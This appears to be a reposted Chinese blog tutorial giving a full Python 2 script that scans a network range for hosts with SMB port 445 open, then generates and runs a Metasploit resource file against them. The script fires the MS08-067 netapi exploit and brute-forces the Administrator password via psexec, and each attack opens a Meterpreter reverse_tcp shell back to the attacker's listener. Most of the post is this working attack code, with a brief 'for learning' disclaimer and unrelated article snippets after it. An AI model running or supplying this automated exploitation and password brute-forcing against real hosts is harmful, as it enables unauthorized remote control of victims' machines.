Python脚本与Metasploit交互攻击

摘要:
Metasploit是一款强大的漏洞扫描和利用工具,编写Python脚本与Metasploit进行交互,可以自动化的扫描和利用漏洞。此外,该函数还需要设置Payload、Lport。用户名默认为windows管理员Administrator,打开密码列表文件,对于每一个密码,都会生成一个用来远程执行进程的Metasploit脚本,如果密码正确则远程执行进程的代码就会运行一个shell到攻击者本地地址对应的端口。

Metasploit是一款强大的漏洞扫描和利用工具,编写Python脚本与Metasploit进行交互,可以自动化的扫描和利用漏洞。

相关文章:Metasploit框架的使用

在脚本中,我们首选需要利用 nmap 模块扫描目标主机是否开放了445端口,我们写了一个 findTarget()函数,来扫描给定ip或者给定网段中开放了目标端口的主机,返回开放了445端口的主机列表。445端口是作为SMB文件共享协议的端口,在这个端口上,经常爆发出各种高危的漏洞。相关文章:文件共享协议之139/445端口

def findTarget(Hosts):              #扫描网段范围内开放445端口的主机
    nmScan=nmap.PortScanner()
    nmScan.scan(Hosts,'445')
    targets=[]
    for t in nmScan.all_hosts():
        if nmScan[t].has_tcp(445):  #如果445端口提供了协议
            state=nmScan[t]['tcp'][445]['state']  #查看445端口的状态
            if state=='open':
                print '[+]Found Target Host:'+t
                targets.append(t)
                
    return targets         #返回开放445端口的主机列表

Metasploit提供了一个被称为Meterpreter的高级动态载荷,它是一种后渗透工具。当渗透进目标主机后,Meterpreter会主动连接目标主机,并提供大量分析和控制主机的参数。我们写了setupHandler()函数,使用 exploit/multi/handler监听数据,我们设置payload为 windows/x64/meterpreter/reverse_tcp 。我们还需要设置一个全局变量DisablePayloadHandler,其作用是:我们已经新建了一个监听器,以后所有的主机都不必重复新建监听器。相关文章:Meterpreter之exploit/multi/handler木马

def setupHandler(configFile,lhost,lport):               #监听被攻击的主机
    configFile.write('use exploit/multi/handler
')     #使用
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp 
')  #设定payload载荷
    configFile.write('set LPORT '+str(lport)+'
')      #设置监听的端口
    configFile.write('set LHOST '+lhost+'
')           #设置监听的主机,也就是我们的主机
    configFile.write('set DisablePayloadHandler 1
')  #不重新监听
    configFile.write('exploit  -j  -z
')              #监听  j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换

当脚本能够在目标主机上执行漏洞利用代码时,配置函数将向Metasploit rc 脚本中写入用于生成漏洞利用代码的目标主机、本地地址和端口。该函数还将把使用哪个漏洞利用代码的指令也写入rc脚本文件中,这里我们使用 MS_08067_netapi漏洞。此外,该函数还需要设置Payload、Lport。最后,该脚本发送一条指令在同一个任务(job)的上下文环境中( -j ),不与任务进行即时交互的条件下 ( -z ) 利用对目标计算机上的漏洞

def confickerExploit(configFile,target,lhost,lport):       #漏洞利用
    configFile.write('use exploit/windows/smb/ms08_067_netapi
')  #漏洞利用代码
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp
')
    configFile.write('set RHOST '+str(target)+'
')              #设定参数
    configFile.write('set LPORT '+str(lport)+'
')
    configFile.write('set LHOST '+lhost+'
')
    configFile.write('exploit 
')

尽管如此我们已经可以成功的在被黑的主机上运行漏洞利用代码,但一旦目标主机安装了最新的安全补丁便可以阻止该代码被执行,因此我们的脚本还需要另一种攻击方式,如暴力破解SMB用户名和密码,以此获取在目标主机上远程执行一个进程的权限。输入smbBrute()函数的参数有:Metasploit脚本文件、目标主机、包含密码列表的另一个文件、本地地址、端口。用户名默认为windows管理员Administrator,打开密码列表文件,对于每一个密码,都会生成一个用来远程执行进程的Metasploit脚本,如果密码正确则远程执行进程的代码就会运行一个shell到攻击者本地地址对应的端口。

def smbBrute(configFile,target,passwdFile,lhost,lport):
    username='Administrator'
    pF=open(passwordFile,'r')
    for password in pF.readlines():
        password=password.strip('
')
        configFile.write('use exploit/windows/smb/psexec
')
        configFile.write('set SMBUser '+str(username)+'
')
        configFile.write('set SMBPass '+str(password)+'
')
        configFile.write('set RHOST '+str(target)+'
')
        configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp
')
        configFile.write('set LPORT '+str(lport)+'
')
        configFile.write('set LHOST '+lhost+'
')
        configFile.write('exploit -j -z
')

最后,对上面所有的代码进行整合。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 16:11:33 2018
@author: 小谢
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts):              #扫描网段范围内开放445端口的主机
    nmScan=nmap.PortScanner()
    nmScan.scan(Hosts,'445')
    targets=[]
    for t in nmScan.all_hosts():
        if nmScan[t].has_tcp(445):  #如果445端口提供了协议
            state=nmScan[t]['tcp'][445]['state']  #查看445端口的状态
            if state=='open':
                print '[+]Found Target Host:'+t
                targets.append(t) 
    return targets         #返回开放445端口的主机列表
def setupHandler(configFile,lhost,lport):               #监听被攻击的主机
    configFile.write('use exploit/multi/handler
')     #使用
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp 
')  #设定payload载荷
    configFile.write('set LPORT '+str(lport)+'
')      #设置监听的端口
    configFile.write('set LHOST '+lhost+'
')           #设置监听的主机,也就是我们的主机
    configFile.write('set DisablePayloadHandler 1
')  #不重新监听
    configFile.write('exploit  -j  -z
')                 #监听  j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
    
def confickerExploit(configFile,target,lhost,lport):       #漏洞利用
    configFile.write('use exploit/windows/smb/ms08_067_netapi
')  #漏洞利用代码
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp
')
    configFile.write('set RHOST '+str(target)+'
')              #设定参数
    configFile.write('set LPORT '+str(lport)+'
')
    configFile.write('set LHOST '+lhost+'
')
    configFile.write('exploit 
')
def smbBrute(configFile,target,passwdFile,lhost,lport):          #暴力破解SMB口令
    username='Administrator'
    pF=open(passwordFile,'r')
    for password in pF.readlines():
        password=password.strip('
')
        configFile.write('use exploit/windows/smb/psexec
')
        configFile.write('set SMBUser '+str(username)+'
')
        configFile.write('set SMBPass '+str(password)+'
')
        configFile.write('set RHOST '+str(target)+'
')
        configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp
')
        configFile.write('set LPORT '+str(lport)+'
')
        configFile.write('set LHOST '+lhost+'
')
        configFile.write('exploit -j -z
')
def main():
    configFile=open('meta.rc','w')  #以写入方式打开配置文件
    usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> [-p/-P <LPORT> -F/-f <password File>]'
    parser=optparse.OptionParser(usage)
    parser.add_option('-H',dest='target',type='string',help='target host')
    parser.add_option('-p','-P',dest='lport',type='string',help='listen port')
    parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')
    parser.add_option('-F','-f',dest='passwdFile',type='string',help='password file')
    (options,args)=parser.parse_args()
    passwdFile=options.passwdFile
    target=options.target
    lport=options.lport
    lhost=options.lhost
    if (target==None)|(lhost==None):
        print parser.usage
        exit(0)
    if options.lport==None:
        lport=='2333'
    targets=findTarget(options.target)           #寻找目标
    setupHandler(configFile,lhost,lport)         #设置配置文件
    for target in targets:                       #逐个攻击
        confickerExploit(configFile,target,lhost,lport)
        if passwdFile!=None:
            smbBrute(configFile,target,passwdFile,lhost,lport)
        configFile.close()
        os.system('msfconsole -r meta.rc')  #启动metasploit并读取配置文件
if __name__=='__main__':
    main()

当我们运行脚本,指定好参数后,脚本就会扫描目标主机中开放了445端口的主机,将其加入到 targets 列表中,然后将要攻击的代码写入meta.rc配置文件中,最后启动MSF读取配置文件进行攻击!

Python脚本与Metasploit交互攻击第1张

Python脚本与Metasploit交互攻击第2张

免责声明:文章转载自《Python脚本与Metasploit交互攻击》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇showdoc升级问题,showdoc错误日志EDIFACT学习链接下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python源码为何都是pass

最近看Python代码  按照一个函数递进的看下去,最后发现,遇到很多源码什么逻辑都没写,仅仅以一个pass  结尾          但却能得到应该得到的结果,这点真的很奇怪,上网查找后 觉得下面的说法还挺符合我的想法,在这里粘贴出来,以后学习深入后继续增加或者修改相关表述: python是C语言实现的,尽管有很多标准库是由python代码实现,但是涉及...

rabbitmq的笔记(五)用Python请求rabbitmq的接口监控状态

1、使用了Python的requests模块,是因为服务器本来就是Python2,使用这个已安装的模块也比较熟悉。json是用来读数的,吧rabbitmq返回的json数组去除字符串。time和datetime都是获取时间点。 #!/usr/bin/env python #-*- coding:utf-8 -*- importrequests, json...

TCP与UDP区别详解

TCP与UDP区别详解 计算机与其他网络设备相互通信,通信的双方在发送和接收数据包时必须基于相同的规则(例如:如何找到通信目标、如何发起通信、如何结束通信等规则都需要事先确定),我们将这种规则称为协议(Protocol)。 TCP/IP协议簇是 Internet 的基础,其是一系列网络协议的总称,例如:TCP、UDP、IP、FTP、HTTP、ICMP、SM...

我为什么从python转向go

应puppet大拿刘宇的邀请,我去西山居运维团队做了一个简短分享,谈谈为什么我要将我们的项目从python转向go。 坦白的讲,在一帮python用户面前讲为什么放弃python转而用go其实是一件压力蛮大的事情,语言之争就跟vim和emacs之争一样,是一个永恒的无解话题,稍微不注意就可能导致粉丝强烈地反击。所以我只会从我们项目实际情况出发,来讲讲为...

Python之Scrapy安装

Scrapy框架是目前Python中最受欢迎的爬虫框架之一,所以今天就来具体了解一下Scrapy框架。 什么是Scrapy框架? Scrapy是一个快速、高层次、轻量级的屏幕抓取和web抓取的python爬虫框架 Scrapy的用途: Scrapy用途非常广泛,主要用于抓取特定web站点的信息并从中提取特定结构的数据,除此之外,还可用于数据挖掘、监测、自动...

Eric6安装问题解决

按照http://eric-ide.python-projects.org/eric-download.html中的说明,执行命令:python install.py 却遇到下面的问题: Compiling source files ...   File "C:Users中文名AppDataLocalProgramsPythonPython36Libsit...